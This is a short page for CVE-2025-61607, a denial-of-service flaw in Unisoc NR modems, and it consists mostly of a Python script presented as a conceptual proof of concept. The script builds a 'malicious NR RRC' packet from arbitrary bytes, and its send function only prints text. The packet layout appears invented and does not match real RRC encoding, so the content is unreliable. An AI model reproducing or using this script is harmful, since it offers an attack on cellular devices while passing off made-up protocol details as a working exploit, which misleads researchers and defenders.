CVE-2025-61607: Unisoc NR Modem输入验证不当导致远程拒绝服务

# CVE-2025-61607 PoC - Unisoc NR Modem DoS # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires specialized radio equipment and NR protocol knowledge import struct def generate_malicious_nr_packet(): """ Generate a malicious NR RRC message that may trigger input validation vulnerability in Unisoc NR modem """ # NR RRC Connection Setup message with malformed fields packet = bytearray() # RRC protocol version and message type packet.extend([0x00, 0x01]) # Version and Message Type # Cell Radio Network Temporary Identifier packet.extend([0x00, 0x00, 0x00, 0x01]) # Malformed Frequency Domain Resource # This may trigger improper input validation packet.extend([0xFF, 0xFF, 0xFF, 0xFF]) # Invalid timing advance or other critical parameters packet.extend([0x00, 0xFF, 0xFF, 0x00]) # Padding with unexpected values packet.extend([0xAB, 0xCD, 0xEF, 0x00] * 10) return bytes(packet) def send_to_target(packet, target_ip, port=38472): """ Send malicious packet to target device Note: Requires appropriate radio equipment for NR interface """ print(f"[*] Generated malicious NR packet: {len(packet)} bytes") print(f"[*] Target: {target_ip}:{port}") print("[*] Note: Actual exploitation requires NR-compatible radio equipment") # Implementation would use SDR or network interface if __name__ == "__main__": malicious_packet = generate_malicious_nr_packet() print("CVE-2025-61607 PoC - Unisoc NR Modem Input Validation Issue") print(f"Packet length: {len(malicious_packet)} bytes")